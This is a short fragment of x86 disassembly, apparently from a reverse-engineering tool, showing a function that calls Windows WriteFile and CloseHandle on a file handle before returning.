push dword [ebp + 8]
push edi
call dword [sym.imp.KERNEL32.dll_WriteFile]
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop edi
pop esi
leave
ret